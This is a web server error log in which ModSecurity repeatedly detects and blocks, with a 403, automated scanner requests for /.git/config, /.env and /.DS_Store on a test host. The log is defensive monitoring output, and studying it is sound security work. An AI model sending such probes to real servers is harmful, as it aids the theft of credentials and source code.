[Sun Jan 28 07:25:52.861352 2024] [:error] [pid 693510] [client 193.32.162.87:48182] [client 193.32.162.87] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZbXzcFMec8X_NupEikpx8gAAAAQ&quot;]
[Sun Jan 28 07:25:52.869420 2024] [:error] [pid 693510] [client 193.32.162.87:48182] [client 193.32.162.87] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZbXzcFMec8X_NupEikpx8gAAAAQ&quot;]
[Sun Jan 28 07:25:52.869645 2024] [:error] [pid 693510] [client 193.32.162.87:48182] [client 193.32.162.87] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZbXzcFMec8X_NupEikpx8gAAAAQ&quot;]
[Thu Feb 22 09:46:07.064707 2024] [proxy_http:error] [pid 1283847] (70007)The timeout specified has expired: [client 37.186.136.246:54255] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Thu Feb 22 09:46:07.066079 2024] [proxy:error] [pid 1283847] [client 37.186.136.246:54255] AH00898: Error reading from remote server returned by /rest/warehouses/journal/notFulfilled/null, referer: https://pms.test.indacotrentino.com/
[Mon Mar 04 03:04:13.344407 2024] [authz_core:error] [pid 1531487] [client 159.203.94.228:40750] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Mon Mar 04 03:04:14.381019 2024] [:error] [pid 1531484] [client 159.203.94.228:40764] [client 159.203.94.228] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZeUsHhCTTON5OTyItianUQAAAAA&quot;]
[Mon Mar 04 03:04:14.381290 2024] [:error] [pid 1531484] [client 159.203.94.228:40764] [client 159.203.94.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZeUsHhCTTON5OTyItianUQAAAAA&quot;]
[Mon Mar 04 03:04:14.381499 2024] [:error] [pid 1531484] [client 159.203.94.228:40764] [client 159.203.94.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZeUsHhCTTON5OTyItianUQAAAAA&quot;]
[Mon Mar 04 03:04:14.734548 2024] [:error] [pid 1531549] [client 159.203.94.228:40766] [client 159.203.94.228] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZeUsHnBGiR3L_SsDx_NvFgAAAAc&quot;]
[Mon Mar 04 03:04:14.734764 2024] [:error] [pid 1531549] [client 159.203.94.228:40766] [client 159.203.94.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZeUsHnBGiR3L_SsDx_NvFgAAAAc&quot;]
[Mon Mar 04 03:04:14.734932 2024] [:error] [pid 1531549] [client 159.203.94.228:40766] [client 159.203.94.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZeUsHnBGiR3L_SsDx_NvFgAAAAc&quot;]
[Mon Mar 04 03:04:15.060735 2024] [:error] [pid 1531485] [client 159.203.94.228:40778] [client 159.203.94.228] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZeUsH3URt5CijQpQg0vU7gAAAAE&quot;]
[Mon Mar 04 03:04:15.060968 2024] [:error] [pid 1531485] [client 159.203.94.228:40778] [client 159.203.94.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZeUsH3URt5CijQpQg0vU7gAAAAE&quot;]
[Mon Mar 04 03:04:15.061168 2024] [:error] [pid 1531485] [client 159.203.94.228:40778] [client 159.203.94.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZeUsH3URt5CijQpQg0vU7gAAAAE&quot;]
[Mon Mar 04 03:05:30.757186 2024] [:error] [pid 1531535] [client 45.138.16.120:44722] [client 45.138.16.120] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZeUsascLiFaqVMr8bEmdzgAAAAY&quot;]
[Mon Mar 04 03:05:30.757797 2024] [:error] [pid 1531535] [client 45.138.16.120:44722] [client 45.138.16.120] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZeUsascLiFaqVMr8bEmdzgAAAAY&quot;]
[Mon Mar 04 03:05:30.758244 2024] [:error] [pid 1531535] [client 45.138.16.120:44722] [client 45.138.16.120] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZeUsascLiFaqVMr8bEmdzgAAAAY&quot;]
[Mon Mar 04 15:37:33.368921 2024] [:error] [pid 1531550] [client 45.138.16.120:35762] [client 45.138.16.120] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZeXcrbvMGUKokUy1cgav0gAAAAg&quot;]
[Mon Mar 04 15:37:33.369400 2024] [:error] [pid 1531550] [client 45.138.16.120:35762] [client 45.138.16.120] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZeXcrbvMGUKokUy1cgav0gAAAAg&quot;]
[Mon Mar 04 15:37:33.370006 2024] [:error] [pid 1531550] [client 45.138.16.120:35762] [client 45.138.16.120] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZeXcrbvMGUKokUy1cgav0gAAAAg&quot;]
[Mon Mar 04 19:35:22.817123 2024] [:error] [pid 1538249] [client 165.232.89.74:56912] [client 165.232.89.74] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZeYUav3LDewZggaee9McMQAAAAs&quot;]
[Mon Mar 04 19:35:22.817883 2024] [:error] [pid 1538249] [client 165.232.89.74:56912] [client 165.232.89.74] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZeYUav3LDewZggaee9McMQAAAAs&quot;]
[Mon Mar 04 19:35:22.818392 2024] [:error] [pid 1538249] [client 165.232.89.74:56912] [client 165.232.89.74] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZeYUav3LDewZggaee9McMQAAAAs&quot;]
[Tue Mar 05 22:45:38.683618 2024] [:error] [pid 1553872] [client 165.232.89.74:40646] [client 165.232.89.74] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZeeSgjfZ54fnqxoyHIJwIQAAAAM&quot;]
[Tue Mar 05 22:45:38.684314 2024] [:error] [pid 1553872] [client 165.232.89.74:40646] [client 165.232.89.74] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZeeSgjfZ54fnqxoyHIJwIQAAAAM&quot;]
[Tue Mar 05 22:45:38.684994 2024] [:error] [pid 1553872] [client 165.232.89.74:40646] [client 165.232.89.74] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZeeSgjfZ54fnqxoyHIJwIQAAAAM&quot;]
[Mon Mar 25 22:18:15.479114 2024] [:error] [pid 2027224] [client 91.215.85.29:53842] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;ZgHqF5LtBkaAwWmXXFxMgAAAAAc&quot;]
[Mon Mar 25 22:18:15.487253 2024] [:error] [pid 2025392] [client 91.215.85.29:53814] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;ZgHqF9PKUCI6d3b2VZCJRQAAAAM&quot;]
[Mon Mar 25 22:18:15.487583 2024] [:error] [pid 2025392] [client 91.215.85.29:53814] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;ZgHqF9PKUCI6d3b2VZCJRQAAAAM&quot;]
[Mon Mar 25 22:18:15.487584 2024] [:error] [pid 2027224] [client 91.215.85.29:53842] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;ZgHqF5LtBkaAwWmXXFxMgAAAAAc&quot;]
[Mon Mar 25 22:18:15.487801 2024] [:error] [pid 2027224] [client 91.215.85.29:53842] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;ZgHqF5LtBkaAwWmXXFxMgAAAAAc&quot;]
[Mon Mar 25 22:18:15.487807 2024] [:error] [pid 2025392] [client 91.215.85.29:53814] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;ZgHqF9PKUCI6d3b2VZCJRQAAAAM&quot;]
[Mon Mar 25 22:18:15.479405 2024] [:error] [pid 2025391] [client 91.215.85.29:53868] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /amphtml/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/amphtml/.git/config&quot;] [unique_id &quot;ZgHqFw7yBQMRBVFeIK9tFAAAAAI&quot;]
[Mon Mar 25 22:18:15.488136 2024] [:error] [pid 2025391] [client 91.215.85.29:53868] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/amphtml/.git/config&quot;] [unique_id &quot;ZgHqFw7yBQMRBVFeIK9tFAAAAAI&quot;]
